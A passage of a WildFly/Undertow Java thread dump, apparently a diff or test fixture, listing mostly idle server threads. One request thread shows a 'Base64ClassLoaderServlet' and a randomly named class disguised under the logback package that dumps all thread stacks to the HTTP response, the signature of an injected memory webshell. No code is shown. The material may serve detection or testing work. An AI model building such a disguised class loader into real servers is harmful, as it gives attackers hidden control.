org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 76" #142 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 23" #63 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-1" #117 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 38" #79 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 66" #112 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 9" #49 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 33" #74 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 65" #111 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-2" #32 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"ServerService Thread Pool -- 62" #108 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-8" #38 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"default task-2" #163 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.6/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at ch.qos.logback.gWbOR.ErrorHandler.toString(BasicInfoPrinter.java:26) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.spec.ServletPrintWriter.print(ServletPrintWriter.java:443) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.spec.ServletPrintWriterDelegate.print(ServletPrintWriterDelegate.java:157) + at deployment.app.war//jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at deployment.app.war//jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:67) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at org.wildfly.security.elytron-web.undertow-server@4.1.0.Final//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler.lambda$handleRequest$1(ElytronRunAsHandler.java:68) + at org.wildfly.security.elytron-web.undertow-server@4.1.0.Final//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler$$Lambda/0x000078a84e90a450.call(Unknown Source) + at org.wildfly.security.elytron-base@2.6.2.Final//org.wildfly.security.auth.server.Scoped$$Lambda/0x000078a84e90eca8.apply(Unknown Source) + at org.wildfly.security.elytron-base@2.6.2.Final//org.wildfly.security.auth.server.Scoped$$Lambda/0x000078a84e90ef38.apply(Unknown Source) + at org.wildfly.security.elytron-base@2.6.2.Final//org.wildfly.security.auth.server.FlexibleIdentityAssociation.runAsFunctionEx(FlexibleIdentityAssociation.java:103) + at org.wildfly.security.elytron-base@2.6.2.Final//org.wildfly.security.auth.server.Scoped.runAsFunctionEx(Scoped.java:161) + at org.wildfly.security.elytron-base@2.6.2.Final//org.wildfly.security.auth.server.Scoped.runAs(Scoped.java:73) + at org.wildfly.security.elytron-web.undertow-server@4.1.0.Final//org.wildfly.elytron.web.undertow.server.ElytronRunAsHandler.handleRequest(ElytronRunAsHandler.java:67) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.core@2.3.18.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.core@2.3.18.Final//io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.core@2.3.18.Final//io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at org.wildfly.security.elytron-web.undertow-server-servlet@4.1.0.Final//org.wildfly.elytron.web.undertow.server.servlet.CleanUpHandler.handleRequest(CleanUpHandler.java:38) + at io.undertow.core@2.3.18.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:44) + at io.undertow.core@2.3.18.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:51) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.core@2.3.18.Final//io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:276) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:132) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda/0x000078a84e8be050.call(Unknown Source) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda/0x000078a84e8be050.call(Unknown Source) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda/0x000078a84e8be050.call(Unknown Source) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1421) + at org.wildfly.extension.undertow@36.0.0.Final//org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction$$Lambda/0x000078a84e8be050.call(Unknown Source) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:256) + at io.undertow.servlet@2.3.18.Final//io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:101) + at io.undertow.core@2.3.18.Final//io.undertow.server.Connectors.executeRootHandler(Connectors.java:395) + at io.undertow.core@2.3.18.Final//io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:861) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:1990) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1486) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1377) + at org.jboss.xnio@3.8.16.Final//org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"ServerService Thread Pool -- 52" #98 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 2" #42 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 1" #41 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@56f2f7bf + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1712) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-5" #35 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.6/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.6/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"management Accept" #93 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"default I/O-3" #119 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 74" #139 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"MSC service thread 1-1" #31 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4c1a6981 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + +"ServerService Thread Pool -- 55" #101 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 79" #154 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"DeploymentScanner-threads - 1" #81 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a58349a + java.lang.Thread.State: WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.6/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.6/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1712) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.6/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.6/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-15" #131 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:563) + +"default I/O-6" #122 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 81" #156 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"management I/O-2" #92 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 84" #159 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"default I/O-16" #132 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.6/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.6/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.6/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at org.jboss.xnio.nio@3.8.16.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:544) + +"ServerService Thread Pool -- 27" #67 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.6/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@21.0.6/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.6/java.lang.Thread.run(Thread.java:1583) + at org.jboss.threads@2.4.0.Final//org.jboss.threads.JBossThread.run(JBossThread.java:513) + +"ServerService Thread Pool -- 46" #89 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@6fe60b15 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.6/jdk.internal.misc.Unsafe.park(Native Method) + at 